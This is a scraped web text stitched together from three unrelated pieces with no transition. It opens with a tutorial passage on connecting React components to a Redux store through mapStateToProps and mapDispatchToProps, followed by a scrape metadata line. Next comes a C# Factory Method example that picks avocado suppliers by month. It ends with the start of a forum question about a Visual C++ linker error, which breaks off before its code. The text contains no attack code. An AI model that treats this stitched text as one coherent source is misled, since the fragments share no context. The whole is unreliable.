import { createStore } from "redux"; import { Provider } from "react-redux"; import reducer from "./state/reducers"; let store = createStore(reducer); // reducer is the outcome of combineReducers() ReactDOM.render( <Provider store={store}> <Router /> </Provider>, document.getElementById("example") );
Because
connect() encapsulates the store, it needs to provide an interface to allow the component to (implicitly) access the store. It does this via two arguments, which the documentation calls
mapStateToProps and
mapDispatchToProps.
mapStateToProps
mapStateToProps is effectively a filter that selects the bits of the global state from the store that are of interest to the component. The bits of state returned from this method are added to the
this.props object.
This was the slightly counter-intuitive part in migrating from storing the data in React state. React documentation indicates that the data owned by a component should be stored in
this.state. When it’s transferred to the store, that component is no longer strictly the owner and shouldn’t be changing it without informing the store, so it makes sense for it to be read-only, and therefore it moves to
this.props.
mapStateToProps is the replacement for
store.subscribe(). With it in place, any updates made to the store are filtered by the object returned from this method, and are then applied to the component’s
this.props, causing the standard component updating lifecycle including the render.
mapDispatchToProps
mapDispatchToProps allows us to access the
store.dispatch(). It provides the
dispatch function as an argument, and should return an object containing methods that call dispatch with various actions. e.g.
const mapActionToProps = (dispatch) => { return { requestUsers: () => dispatch({ type: "REQUEST_USERS" }), updateUser: (user) => dispatch({ type: "UPDATE_USER", user: user }) } }
This enables the component to trigger actions by calling
this.props.methodname(args).
connect(mapStateToProps, mapDispatchToProps) returns a function which should be passed the class or function of the component using the store. Convention also has that class returned as the default export so it can be directly imported. e.g.
// in component file export default connect(mapStateToProps, mapActionToProps)(ComponentName) // in file that is using the component import ComponentName from "./ComponentName"
React-Redux Cycle
Putting it altogether we get a data flow something like this:
1. When something happens we dispatch an action to the store by calling an action property. i.e.
this.props.requestUsers().
2. This calls
dispatch(action-object) inside the method used in step 1, whose definition is found in
mapActionToProps.
3. Redux then calls the reducer which returns a new state back to Redux.
4. The component receives the new state, filters it according to
mapStateToProps and applies the filtered object to
this.props triggering the normal React component update lifecycle and render. | https://winterlimelight.com/tag/react/ | CC-MAIN-2018-51 | refinedweb | 677 | 56.05 |
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Avacados { class FactoryPattern { // Factory Method Pattern Judith Bishop 2006 // Example of exporting from different suppliers interface IProduct { string ShipFrom(); } class ProductA : IProduct { public String ShipFrom() { return " from South Africa"; } } class ProductB : IProduct { public String ShipFrom() { return "from Spain"; } } class ProductC : IProduct { public String ShipFrom() { return "from India"; } } class DefaultProduct : IProduct { public String ShipFrom() { return "not available"; } } class Creator { public IProduct FactoryMethod(int month) { if (month >= 4 && month <= 11) return new ProductA(); else if (month == 1 || month == 2 || month == 12) return new ProductB(); else return new DefaultProduct(); } } static void Main() { Creator c = new Creator(); IProduct product; for (int i = 1; i <= 12; i++) { product = c.FactoryMethod(i); Console.WriteLine("Avocados " + product.ShipFrom()); } } } }
Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.
Have a better answer? Share it in a comment.
From novice to tech pro — start learning today.
A class exists to serve a certain purpose, and you create all of the data members and function members to allow it to do so. It is the case with some classes though that the actual creation of the class is so complex and requires so many operations that it reduces the clarity of purpose for the class. The bulk of the code and logic in the class should be there to make the class fulfill its purpose, not to create it in the first place.
So... the idea is that your class itself shouldn't need to know how it is created, that work is delegated to the factory.
1-Your factory should be a static class.
2-It should return an interface object.
3-The set of objects the factory is capable of creating should all implement the interface from #2.
From this point on, your factory knows about all of the classes it can create, and any new classes you add must be made to implement your interface and must be incorporated into the factory logic.
Your main code will use the static factory and will ONLY know about the interface, and thus it is completely decoupled from the internal workings of those classes and their creation. The various subclasses should all implement overrides fo the same functions as specified in the interface so the interface can properly and completely control them.
If you (truely) need to do so, you can actually cast the interface into the real object type it represents in some conditions, but this is pretty frowned upon as it somewhat breaks the pattern. Having said that, a pattern is there to aid you, not restrict you, so there are exceptions to every rule :)
-w00te
Please refer this one, really it is very good article
Sign up to receive Decoded, a new monthly digest with product updates, feature release info, continuing education opportunities, and more.
Tomorrow if you want to add one more concrete class, you just have to implement IProduct interface and change the value of month variable, rest of your client code remains same.
In typical use case the month value passed here is read from configuration file, so that you dont need to change the client code at all, just change the month value in configuration file, and it gets the concrete class corresponding to that.
Within any application, no matter how many abstractions you have there must be a concrete class somewhere otherwise how would your application work?
You can also use a factory that is a static class. See sample.
DaTribe
Open in new window
We should notify the client there is a new method also right?
It's no different than adding a function to any class and using it except that in order to make it work you have to appropriately overload it in the derived classes.
>>We should notify the client there is a new method also right?
While interfaces are an extremely flexible way to provide 'de-coupling' or loose coupling, there is one major disadvantage of using interfaces. You have hit it on the head - if you add a new method to the interface (or rename an existing one), all your clients implementing the interface will need to change. The way this is avoided in modern-day languages (c#, java..) is by introducing a second interface to contain the new method(s) or the renamed methods. Then, you have the option of having all those clients interested in the new method(s) simply implement Interface2 - other clients that are not interested can remain unchanged.
An alternative to using interfaces in a factory is to use AbstractClasses - to get what is known as an AbstractFactory. The reason an Abstract class works better (than interfaces) in this factory scenario is because you can add new methods (or rename existing methods) in an Abstract Class without breaking any of the clients. A big win for Abstract Classes over interfaces. However, it is pattern dependent - in this case (factory), the Abstract class wins - but in a lot of other scenarios, interfaces would be a better choice. | https://www.experts-exchange.com/questions/26429878/Factory-Method.html | CC-MAIN-2018-17 | refinedweb | 846 | 57.2 |
Network Working Group M. Mealling
Request for Comments: 3405 VeriSign
BCP: 65 October 2002
Category: Best Current Practice
Dynamic Delegation Discovery System (DDDS) Part Five: URI.ARPA
Assignment Procedures
Status of this Memo
This document specifies an Internet Best Current Practices for the
Internet Community, and requests discussion and suggestions for
improvements. Distribution of this memo is unlimited.
Abstract.
Table of Contents
1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2
2. URI Resolution vs URN Resolution . . . . . . . . . . . . . . 2
3. Registration Policies . . . . . . . . . . . . . . . . . . . 3
3.1 URI.ARPA Registration . . . . . . . . . . . . . . . . . . . 3
3.1.1 Only Schemes in the IETF Tree Allowed . . . . . . . . . . . 3
3.1.2 Scheme Registration Takes Precedence . . . . . . . . . . . . 3
3.1.3 NAPTR Registration May Accompany Scheme Registration . . . . 3
3.1.4 Registration or Changes after Scheme Registration . . . . . 3
3.2 URN.ARPA Registration . . . . . . . . . . . . . . . . . . . 4
3.2.1 NID Registration Takes Precedence . . . . . . . . . . . . . 4
3.2.2 NAPTR Registration May Accompany NID Registration . . . . . 4
3.2.3 Registration or Changes after Scheme Registration . . . . . 4
4. Requirements on hints . . . . . . . . . . . . . . . . . . . 4
5. Submission Procedure . . . . . . . . . . . . . . . . . . . . 5
6. Registration Template . . . . . . . . . . . . . . . . . . . 6
6.1 Key . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
6.2 Authority . . . . . . . . . . . . . . . . . . . . . . . . . 6
6.3 Records . . . . . . . . . . . . . . . . . . . . . . . . . . 6
7. Example Template . . . . . . . . . . . . . . . . . . . . . . 6
8. The URN Registration in the URI.ARPA zone . . . . . . . . . 7
9. IANA Considerations . . . . . . . . . . . . . . . . . . . . 7
10. Security Considerations . . . . . . . . . . . . . . . . . . 7
11. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . 7
12. References . . . . . . . . . . . . . . . . . . . . . . . . . 8
13. Author's Address . . . . . . . . . . . . . . . . . . . . . . 9
14. Full Copyright Statement . . . . . . . . . . . . . . . . . . 10
1. Introduction
This document defines the policies and procedures for inserting
Naming Authority Pointer (NAPTR) records into the 'URI.ARPA' and
'URN.ARPA' zones for the purpose of resolving Uniform Resource
Identifiers (URIs) according to "Dynamic Delegation Discovery System
(DDDS) Part Four: The URI Resolution Application" (RFC 3402) [2],
which is an Application that uses the Domain Name System (DNS) based
DDDS Database. All of these concepts are defined in RFC 3401 [1].
It is very important to note that it is impossible to correctly
understand this document without reading RFC 3401 and the documents
it specifies.
RFC 340.
2. URI Resolution vs URN Resolution
RFC 3402 [2] defines how both URI [7] resolution and URN [6]
resolution work when DNS is used as the delegation rule (or hint)
database. Specifically it says that the initial instructions
('hints') for DNS-based resolution of URIs are stored as resource
records in the 'URI.ARPA' DNS zone.
Since a URN is a URI scheme, a hint for resolution of the URI prefix
'urn:' will also be stored in the 'URI.ARPA' zone. This rule states
that the namespace id [6] is extracted, 'URN.ARPA' is appended to the
end of the namespace id, and the result is used as the key for
retrieval of a subsequent NAPTR record [4].
3. Registration Policies
The creation of a given URI scheme or URN namespace id (NID) follows
the appropriate registration documents for those spaces. URI schemes
follow "Registration Procedures for URL Scheme Names" (RFC 2717)
[10]. URN namespace ids follow "URN Namespace Definition Mechanisms"
(RFC 2611) (or updates thereto) [9].
3.1 URI.ARPA Registration
3.1.1 Only Schemes in the IETF Tree Allowed
In order to be inserted into the URI.ARPA zone, the subsequent URI
scheme MUST be registered under the IETF URI tree. The requirements
for this tree are specified in [10].
3.1.2 Scheme Registration Takes Precedence
The registration of a NAPTR record for a URI scheme MUST NOT precede
proper registration of that scheme and publication of a stable
specification in accordance with [10]. The IESG or its designated
expert will review the request for
1. correctness and technical soundness
2. consistency with the published URI specification, and
3. to ensure that the NAPTR record for a DNS-based URI does not
delegate resolution of the URI to a party other than the
holder of the DNS name. This last rule is to insure that a
given URI's resolution hint doesn't hijack (inadvertently or
otherwise) network traffic for a given domain.
3.1.3 NAPTR Registration May Accompany Scheme Registration
A request for a URI.ARPA registration MAY accompany a request for a
URI scheme (in accordance with [10]), in which case both requests
will be reviewed simultaneously by IESG or its designated experts.
3.1.4 Registration or Changes after Scheme Registration
A request for a NAPTR record (or an request to change an existing
NAPTR record) MAY be submitted after the URI prefix has been
registered. If the specification for the URI prefix.
3.2 URN.ARPA Registration
3.2.1 NID Registration Takes Precedence
The registration of a NAPTR record for a URN NID MUST NOT precede
proper registration of that NID and publication of a stable
specification in accordance with [9]. This is to prevent the
registration of a NAPTR record in URN.ARPA from circumventing the NID
registration process.
3.2.2 NAPTR Registration May Accompany NID Registration
A request for a URN.ARPA registration MAY accompany a request for a
NID (in accordance with [9]), in which case both requests will be
reviewed at the same time.
3.2.3 Registration or Changes after Scheme Registration
A request for a NAPTR record (or an request to change an existing
NAPTR record) MAY be submitted after the NID has been registered. If
the specification for the NID.
Note that this applies to all NAPTR records for a particular NID,
even though a NAPTR record might affect only part of the URN space
assigned to an NID
4. Requirements on hints
Delegation of a namespace can happen in two ways. In the case of
most URIs, the key being delegated to is hard-coded into the
identifier itself (e.g., a hostname in an HTTP URI). The syntax of
where this new key is located is predetermined by the syntax of the
scheme. In other cases, the new key can be part of the hint itself.
This is the functional equivalent of saying, "if this rule matches
then this is always the key."
In order to minimize the query load on the URI.ARPA and URN.ARPA
zones, it is anticipated that the resource records in those zones
will have extremely long "times to live" (TTLs), perhaps measured in
years.
Thus, for any URI prefix or URN namespace for which the resolution
hints are likely to change, the actual rule should be stored in some
other (less stable) DNS zone, and within URI.ARPA or URN.ARPA a
stable NAPTR record should be used to delegate queries to that less
stable zone.
For example, the 'foo' URN namespace has flexible rules for how
delegation takes place. Instead of putting those rules in the
URN.ARPA zone, the entry instead punts those rules off to a
nameserver that has a shorter time to live. The record in URN.ARPA
would look like this:
foo IN NAPTR 100 10 "" "" "" urn-resolver.foo.com.
Thus, when the client starts out in the resolution process, the first
step will be to query foo.URN.ARPA to find the above record, the
second step is to begin asking 'urn-resolver.foo.com' for the NAPTR
records that contain the resolution rules. The TTL at the root is
very long. The TTL at the 'urn-resolver.foo.com' is much shorter.
Conversely, the 'http' URI scheme adheres to a particular syntax that
specifies that the host to ask is specified in the URI in question.
Since this syntax does not change, that rule can be specified in the
URI.ARPA zone. The record would look like this:
http IN NAPTR 100 100 "" "" "/http:\\/\\/([^\\/:]+)/\\2/i" .
Thus, the second step of resolution is to use the domain-name found
in the URI as the next key in the cycle. If, for example, that NAPTR
was terminal and contains some hostname in the replacement field,
then the client could contact that host in order to ask questions
about this particular URI.
5. Submission Procedure
Using the MIME Content-Type registration mechanism [8] as a model
for a successful registration mechanism, the 'URI.ARPA' and
'URN.ARPA' procedures consist of a request template submitted to an
open mailing list made up of interested parties. If no objections
are made within a two week period, a representative of the
registration authority considers the submission to be accepted and
enters that submission into the nameserver.
o Registrations for the 'URI.ARPA' zone are sent to
'register@URI.ARPA'.
o Registrations for the 'URN.ARPA' zone are sent to
'register@URN.ARPA'.
The registration authority is the Internet Assigned Numbers
Authority (IANA).
Objections are restricted to those that point out impacts on the zone
itself or to DNS in general. Objections to the URI scheme or to the
URN namespace-id are not allowed, as these should be raised in their
respective forums. The logical conclusion of this is that ANY
sanctioned URI scheme or URN namespace MUST be allowed to be
registered if it meets the requirements specified in this document as
regards times to live and general impact to the DNS.
6. Registration Template
The template to be sent to the appropriate list MUST contain the
following values:
6.1 Key
This is the URN NID or URI scheme, which is used as the domain
portion of the DNS entry. It must be valid according to the
procedures specified in the URN namespace-id assignment document and
any future standards for registering new URI schemes.
6.2 Authority
This is the individual or organization (entity) which has authority
for registering the record. It must be an authority recognized as
either the IESG or any authority defined in the URN NID [9] or URI
scheme registration [10] documents.
6.3 Records
The actual DNS records representing the rule set for the key. The
required values are Preference, Order, Flags, Services, Regex, and
Replacement as defined by RFC 3404 [4].
7. Example Template
To: register@URN.ARPA
From: joe@foo.com
Key: foo
Authority: Foo Technology, Inc as specified in RFCFOO
Record: foo IN NAPTR 100 100 "" "" "" urn.foo.com.
8. The URN Registration in the URI.ARPA zone
Since this document discusses the URI.ARPA and URN.ARPA zones and the
URN rule that exists in the URI.ARPA zone, it makes sense for the
registration template for the URN URI rule to be specified here:
To: register@URI.ARPA
From: The IETF URN Working Group
Key: urn
Authority: RFC2141
Record: urn IN NAPTR 0 0 "" "" "/^urn:([^:]+)/\\2/i" .
9. IANA Considerations
The IANA has created the zones URN.ARPA and URI.ARPA. The
hierarchical name structure, and the only names to be assigned within
these zones, are the "keys" as described in Section 6.1 of this
document. The administrative and operational management of these
zones are to be undertaken by the IANA. The DNS records to be
inserted in these zones are subject to the review process described
in this document.
The IANA has also created two discussion lists, register@uri.arpa and
register@urn.arpa, for the purposes described in this document. The
IANA will manage these mailing lists.
10. Security Considerations
The 'uri.arpa' and 'urn.arpa' zones will be a common point of attack
both for Denial of Service and for spoofing entries in order to
redirect delegation paths. Any entity running nameservers that
contain these zones should take appropriate action for securing an
infrastructure level component of the Internet. When it becomes
possible for a nameserver to reliably sign the records in its zone it
should do so.
11. Acknowledgements
The author would like to thank Ron Daniel who was originally co-
author of these documents. Ron's original insite into the intricate
nature of delegation rules made these procedures and the DDDS itself
possible.
12., November 1998.
[7] Berners-Lee, T., Fielding, R. and L. Masinter, "Uniform
Resource Identifiers (URI): Generic Syntax", RFC 2396, August
1998.
[8] Freed, N., Klensin, J. and J. Postel, "Multipurpose Internet
Mail Extensions (MIME) Part Four: Registration Procedures", BCP
13, RFC 2048, November 1996.
[9] Faltstrom, P., Iannella, R., Daigle, L. and D. van Gulik, "URN
Namespace Definition Mechanisms", BCP 33, RFC 2611, October
1998.
[10] Petke, R. and I. King, "Registration Procedures for URL Scheme
Names", BCP 35, RFC 2717, January 1999.
13. Author's Address
Michael Mealling
VeriSign
21345 Ridgetop Circle
Sterling, VA 20166
US
URI:404 - Dynamic Delegation Discovery System (DDDS) Part Four: The Uniform Resource Identifiers (URI)
Next: RFC 3406 - Uniform Resource Names (URN) Namespace Definition Mechanisms | http://www.faqs.org/rfcs/rfc3405.html | CC-MAIN-2016-26 | refinedweb | 2,059 | 56.86 |
lstm_unit¶
paddle.fluid.layers.
lstm_unit(x_t, hidden_t_prev, cell_t_prev, forget_bias=0.0, param_attr=None, bias_attr=None, name=None)[source]
Long-Short Term Memory (LSTM) RNN cell. This operator performs LSTM calculations for one time step, whose implementation is based on calculations described in RECURRENT NEURAL NETWORK REGULARIZATION .
We add forget_bias to the biases of the forget gate in order to reduce the scale of forgetting. The formula is as follows:\[ \begin{align}\begin{aligned}i_{t} & = \sigma(W_{x_{i}}x_{t} + W_{h_{i}}h_{t-1} + b_{i})\\f_{t} & = \sigma(W_{x_{f}}x_{t} + W_{h_{f}}h_{t-1} + b_{f} + forget\_bias)\\c_{t} & = f_{t}c_{t-1} + i_{t} tanh (W_{x_{c}}x_{t} + W_{h_{c}}h_{t-1} + b_{c})\\o_{t} & = \sigma(W_{x_{o}}x_{t} + W_{h_{o}}h_{t-1} + b_{o})\\h_{t} & = o_{t} tanh (c_{t})\end{aligned}\end{align} \]
\(x_{t}\) stands for
x_t, corresponding to the input of current time step; \(h_{t-1}\) and \(c_{t-1}\) correspond to
hidden_t_prevand
cell_t_prev, representing the output of from previous time step. \(i_{t}, f_{t}, c_{t}, o_{t}, h_{t}\) are input gate, forget gate, cell, output gate and hidden calculation.
- Parameters
x_t (Variable) – A 2D Tensor representing the input of current time step. Its shape should be \([N, M]\) , where \(N\) stands for batch size, \(M\) for the feature size of input. The data type should be float32 or float64.
hidden_t_prev (Variable) – A 2D Tensor representing the hidden value from previous step. Its shape should be \([N, D]\) , where \(N\) stands for batch size, \(D\) for the hidden size. The data type should be same as
x_t.
cell_t_prev (Variable) – A 2D Tensor representing the cell value from previous step. It has the same shape and data type with
hidden_t_prev.
forget_bias (float, optional) – \(forget\_bias\) added to the biases of the forget gate. Default 0. .
name (str, optional) – For detailed information, please refer to Name. Usually name is no need to set and None by default.
- Returns
The tuple contains two Tensor variables with the same shape and data type with
hidden_t_prev, representing the hidden value and cell value which correspond to \(h_{t}\) and \(c_{t}\) in the formula.
- Return type
tuple
- Raises
ValueError– Rank of x_t must be 2.
ValueError– Rank of hidden_t_prev must be 2.
ValueError– Rank of cell_t_prev must be 2.
ValueError– The 1st dimensions of x_t, hidden_t_prev and cell_t_prev must be the same.
ValueError– The 2nd dimensions of hidden_t_prev and cell_t_prev must be the same.
Examples
import paddle.fluid as fluid dict_dim, emb_dim, hidden_dim = 128, 64, 512 data = fluid.data(name='step_data', shape=[None], dtype='int64') x = fluid.embedding(input=data, size=[dict_dim, emb_dim]) pre_hidden = fluid.data( name='pre_hidden', shape=[None, hidden_dim], dtype='float32') pre_cell = fluid.data( name='pre_cell', shape=[None, hidden_dim], dtype='float32') hidden = fluid.layers.lstm_unit( x_t=x, hidden_t_prev=pre_hidden, cell_t_prev=pre_cell) | https://www.paddlepaddle.org.cn/documentation/docs/en/api/layers/lstm_unit.html | CC-MAIN-2020-05 | refinedweb | 488 | 50.33 |
[OSM] [Dependency] How can reverse dependencies be configuredRakesh N May 24, 2013 1:18 PM
The following is the business requirement for a Product Spec PS1 -
If Action Code is ADD - Function A --> Function B
If Action Code is DELETE - Function B --> Function A
Fulfillment Mode is DELIVER for both the scenarios with just different Action Codes.
This is NOT a rare requirement since Fulfillment Systems expect instructions to provision a service and terminate a service in reverse order. When an order is cancelled in-flight, that's how OSM typically rolls back the activities - in reverse order. However, this requirement is for a ceasing an existing service and NOT cancellation.
I configured the above 2 required dependencies in a Product Spec using Property Correlation Order Item Dependency. The xqueries of those dependencies are such that only one of them will return <osm:dependency/> nodes. The cartridge was built successfully with warnings. And cartridge was deployed successfully. However, on submission of order, OSM threw a circular dependency error. In order to rule out possibility of erroneous xqueries, I have made both of them return () only. So technically none of the dependencies will be created in the final orchestration plan. However, the error still persists.
So, one can safely conclude that OSM cannot tolerate reverse dependencies in a Product Spec regardless of them being in the final orchestration plan. (BUG?)
Is there any elegant solution to configure such dependencies.
Thanks in advance
Rakesh
Edited by: Rakesh N on 24-May-2013 06:15
Edited by: Rakesh N on 24-May-2013 06:17
Edited by: Rakesh N on 24-May-2013 06:18
1. Re: [OSM] [Dependency] How can reverse dependencies be configuredViktor.Jarolim-Oracle May 30, 2013 8:59 AM (in response to Rakesh N)Hi I would suggest that you raise an SR.
Viktor
2. Re: [OSM] [Dependency] How can reverse dependencies be configuredRakesh N May 30, 2013 9:29 AM (in response to Viktor.Jarolim-Oracle)I did Viktor. It's been a week almost. No response yet :)
3. Re: [OSM] [Dependency] How can reverse dependencies be configuredc3219a02-5ae8-40f3-8fd3-f07338d737f6 Jun 13, 2013 9:22 AM (in response to Rakesh N)1 person found this helpful
Hi Rakesh,
Though I do not consider it as a bug, but would be a good feature to have.
In the mean time, you may try following workaround to achieve same result.
I suggest, you create one more function - Function C and set the dependencies in PS1 as Function A -> Function B and Function B -> Function C
Also, in the last stage of decomposition of FunctionC (ie SignificantUpdate) set a condition, so that FunctionC Executable component will be created for DELETE line.
Similarly, in the last stage of decomposition of FunctionA (ie SignificantUpdate) set a condition, so that FunctionA Executable component will be created for ADD line.
Obviously, you have to take necessary care to ensure, both of the executable components (A, C) send payload to same target system.
Regards
Sumanta
4. Re: [OSM] [Dependency] How can reverse dependencies be configuredSrinivasK Sep 30, 2013 5:50 AM (in response to c3219a02-5ae8-40f3-8fd3-f07338d737f6)
Hi Sumanta,
I am going through this conversation and understanding the solution aspects for this type of scenario.
What do you mean by SignificantUpdate? Is that something OOTB related feature?
5. Re: [OSM] [Dependency] How can reverse dependencies be configuredRakesh N Oct 24, 2013 10:40 AM (in response to SrinivasK)
Hi Srinivas,
The OOTB O2A PIP cartridges have the following stages -
- Determine Fulfillment Function
- Determine Target System
- Determine Processing Granularity
- Determine Significant Updates
I hope that helps
Regards
Rakesh
6. Re: [OSM] [Dependency] How can reverse dependencies be configuredSachin_Lokhande_OSM Feb 20, 2014 2:05 PM (in response to Rakesh N)
Hi Rakesh,
Did solution mentioned by Sumanta worked in your case or you implemented any other solution?
Please let us know your comments because we came across same situation.
Regards,
Sachin L | https://community.oracle.com/message/11067832?tstart=0 | CC-MAIN-2017-30 | refinedweb | 658 | 52.9 |
Log4Dart
Logging library with multiple appenders, configurable formatting and log tracing.
Getting Started
1. Add the folowing to your pubspec.yaml and run pub install
dependencies: log4dart: any
2. Add log4dart to some code and run it
import "package:log4dart/log4dart.dart"; main() { var myClass = new MyClass(); myClass.someMethod(); } class MyClass { static final _logger = LoggerFactory.getLoggerFor(MyClass); someMethod() { _logger.info("a info message"); // : _logger.warnFormat("%s %s", ["message", "formatting"]); } }
Creating Loggers
Log4Dart is split in multiple libraries so it can run on both servers and in browsers.
// for client side logging (works both on the VM and when compiled to JS) import "package:log4dart/log4dart.dart"; // for VM logging, allows you to log to files (does not compile to JS) import "package:log4dart/log4dart_vm.dart";
When you want to retrieve a logger instance you can do it in one of two ways
- LoggerFactory.getLoggerFor(MyClass) -). | https://www.dartdocs.org/documentation/log4dart/1.4.19/index.html | CC-MAIN-2017-09 | refinedweb | 145 | 53.17 |
INTRODUCTION ============ This module implements a Perl interface to the Gnome libxml2 library which. In 1.59, a new callback API was introduced. This new API is not compatible with the previous one. See XML::LibXML::InputCallback manual page for details. In 1.61 the XML::LibXML::XPathContext module, previously distributed separately, was merged in. An experimental support for Perl threads introduced in 1.66 has been replaced in 1.67. DEPENDENCIES ============ Prior to installation you MUST have installed the libxml2 library. You can get the latest libxml2 version from Without libxml2 installed this module will neither build nor run. Also XML::LibXML requires the following packages: o XML::SAX - base class for SAX parsers o XML::NamespaceSupport - namespace support for SAX parsers These packages are required. If one is missing some tests will fail. Again, libxml2 is required to make XML::LibXML work. The library is not just required to build XML::LibXML, it has to be accessible during run-time as well. Because of this you need to make sure libxml2 is installed properly. To test this, run the xmllint program on your system. xmllint is shipped with libxml2 and therefore should be available. For building the module you will also need the header file for libxml2, which in binary (.rpm,.deb) etc. distributions usually dwell in a package named libxml2-devel or similar. INSTALLATION ============ (These instructions are for UNIX and GNU/Linux systems. For MSWin32, See Notes for Microsoft Windows below.) To install XML::LibXML just follow the standard installation routine for Perl modules: 1 perl Makefile.PL 2 make 3 make test 4 make install # as superuser Note that XML::LibXML is an XS based Perl extension and you need a C compiler to build it. Note also that you should rebuild XML::LibXML if you upgrade libxml2 in order to avoid problems with possible binary incompatibilities between releases of the library. Notes on libxml2 versions ========================= XML::LibXML requires at least libxml2 2.6.16 to compile and pass all tests and at least 2.6.21 is required for XML::LibXML::Reader. For some older OS versions this means that an update of the pre-built packages is required. Although libxml2 claims binary compatibility between its patch levels, it is a good idea to recompile XML::LibXML and run its tests after an upgrade of libxml2. If your libxml2 installation is not within your $PATH, you can pass the XMLPREFIX=$YOURLIBXMLPREFIX parameter to Makefile.PL determining the correct libxml2 version in use. e.g. > perl Makefile.PL XMLPREFIX=/usr/brand-new will ask '/usr/brand-new/bin/xml2-config' about your real libxml2 configuration. Try to avoid setting INC and LIBS directly on the command-line, for if used, Makefile.PL does not check the libxml2 version for compatibility with XML::LibXML. Which version of libxml2 should be used? ======================================== XML::LibXML is tested against a couple versions of libxml2 before it is released. Thus there are versions of libxml2 that are known not to work properly with XML::LibXML. The Makefile.PL keeps a blacklist of the incompatible libxml2 versions. If Makefile.PL detects one of the incompatible versions, it notifies the user. It may still happen that XML::LibXML builds and pass its tests with such a version, but that does not mean everything is OK. There will be no support at all for blacklisted versions! As of XML::LibXML 1.61, only versions 2.6.16 and higher are supported. XML::LibXML will probably not compile with earlier libxml2 versions than 2.5.6. Versions prior to 2.6.8 are known to be broken for various reasons, versions prior to 2.1.16 exhibit problems with namespaced attributes and do not therefore pass XML::LibXML regression tests. It may happen that an unsupported version of libxml2 passes all tests under certain conditions. This is no reason to assume that it shall work without problems. If Makefile.PL marks a version of libxml2 as incompatible or broken it is done for a good reason. Notes for Microsoft Windows =========================== Thanks to Randy Kobes there is a pre-compiled PPM package available on Usually it takes a little time to build the package for the latest release. If you want to build XML::LibXML on Windows from source, you can use the following instructions contributed by Christopher J. Madsen: These instructions assume that you already have your system set up to compile modules that use C components. First, get the libxml2 binaries from (currently also available at). You need: > iconv-VERSION.win32.zip > libxml2-VERSION.win32.zip > zlib-VERSION.win32.zip Download the latest version of each. (Each package will probably have a different version.) When you extract them, you'll get directories named iconv-VERSION.win32, libxml2-VERSION.win32, and zlib-VERSION.win32, each containing bin, lib, and include directories. Combine all the bin, include, and lib directories under c:\Prog\LibXML. (You can use any directory you prefer; just adjust the instructions accordingly.) Get the latest version of XML-LibXML from CPAN. Extract it. Issue these commands in the XML-LibXML-VERSION directory: > perl Makefile.PL INC=-Ic:\Prog\LibXML\include LIBS=-Lc:\Prog\LibXML\lib > nmake > copy c:\Prog\LibXML\bin\*.dll blib\arch\auto\XML\LibXML > nmake test > nmake install (Note: Some systems use dmake instead of nmake.) By copying the libxml2 DLLs to the arch directory, you help avoid conflicts with other programs you may have installed that use other (possibly incompatible) versions of those DLLs. Notes for Mac OS X ================== Due refactoring the module, XML::LibXML will not run with some earlier versions of Mac OS X. It appears that this is related to special linker options for that OS prior to version 10.2.2. Since the developers do not have full access to this OS, help/ patches from OS X gurus are highly appreciated. It is confirmed that XML::LibXML builds and runs without problems since Mac OS X 10.2.6. Notes for HPUX ============== XML::LibXML requires libxml2 2.6.16 or later. There may not exist a usable binary libxml2 package for HPUX and XML::LibXML. If HPUX cc does not compile libxml2 correctly, you will be forced to recompile perl with gcc (unless you bug reports, please use the CPAN request tracker on For suggestions etc. you may contact the maintainer directly at "pajas at ufal dot mff dot cuni dot cz", but in general, it is recommended to use the mailing list given below. For suggestions etc., and other issues related to XML::LibXML you may use the perl XML mailing list (perl-xml@listserv.ActiveState.com), where most XML-related Perl modules are discussed. In case of problems you should check the archives of that list first. Many problems are already discussed there. You can find the list's archives and subscription options at PACKAGE HISTORY =============== Version < 0.98 were maintained by Matt Sergeant 0.98 > Version > 1.49 were maintained by Matt Sergeant and Christian Glahn Versions >= 1.49 are maintained by Christian Glahn Versions > 1.56 are co-maintained by Petr Pajas Versions >= 1.59 are provisionally maintained by Petr Pajas PATCHES AND DEVELOPER VERSION ============================= As XML::LibXML is open source software, help and patches are appreciated. If you find a bug in the current release, make sure this bug still exists in the developer version of XML::LibXML. This version can be downloaded from its Mercurial repository. For more information about that, see: Please consider all regression tests as correct. If any test fails it is most certainly related to a bug. If you find documentation bugs, please fix them in the libxml.dbk file, stored in the docs directory. KNOWN ISSUES ============ The push-parser implementation causes memory leaks. | https://bitbucket.org/shlomif/perl-xml-libxml/src/93eb1503e362?at=tip | CC-MAIN-2015-48 | refinedweb | 1,289 | 59.09 |
CodePlexProject Hosting for Open Source Software
Hi!
I'm playing with farseer trying to do a sidescroller racing game, but I'm unable to create a damper/spring for the two wheels of the car. I've seen that a long time ago there was a namespace named Springs, but I can't find it anymore. I've been trying with
a Prismatic Joint, but I can't make it work like a spring.
Could you please give me any hint of a link to an example with dampers/springs?
Thanks a lot!
KakCAT
Sure.
Use the LineJoint in FPE 3.3.1 and control the spring using Frequency and DampingRatio on the LineJoint. In FPE 3.5, there will be a WheelJoint with more realistic behavior.
One little more question... how do I limit the max length of the LineJoint? Box2D has UpperLimit & LowerLimit for the LineJoint but I can't find it anywhere in Farseer.
I had a look at the 3.5 WheelJoint but unfortunately I have the same problem.
Thanks a lot! :)
kakCAT
I just tried the WheelJoint in 3.5. It works ALOT better than any other joint for suspension!
The LineJoint does not have limits, and the version of LineJoint that is included in the newest version is not the one from the Box2D 2.1.2 distribution. The LineJoint in Box2D changed 3 times (if I remember correctly) and what you see in FPE is the latest
one before Erin renamed the LineJoint to WheelJoint.
If you need the old LineJoint that had limits, you can download
FPE 3.2 here.
Are you sure you want to delete this post? You will not be able to recover it later.
Are you sure you want to delete this thread? You will not be able to recover it later. | http://farseerphysics.codeplex.com/discussions/405404 | CC-MAIN-2016-07 | refinedweb | 304 | 85.18 |
I am new to c++ but have been using java for a while now. I am using Microsoft Visual c++ and when I try to build it I get the following error:
Linking...
Airline Project.obj : error LNK2019: unresolved external symbol "public: __thiscall FlightManager::FlightManager(void)" (??0FlightManager@@QAE@XZ) referenced in function _wmain
F:\Documents\Assignments\CA212\Airline Project\Debug\Airline Project.exe : fatal error LNK1120: 1 unresolved externals
Build log was saved at ":\Documents\Assignments\CA212\Airline Project\Airline Project\Debug\BuildLog.htm"
Here is where I think the relevant code is:
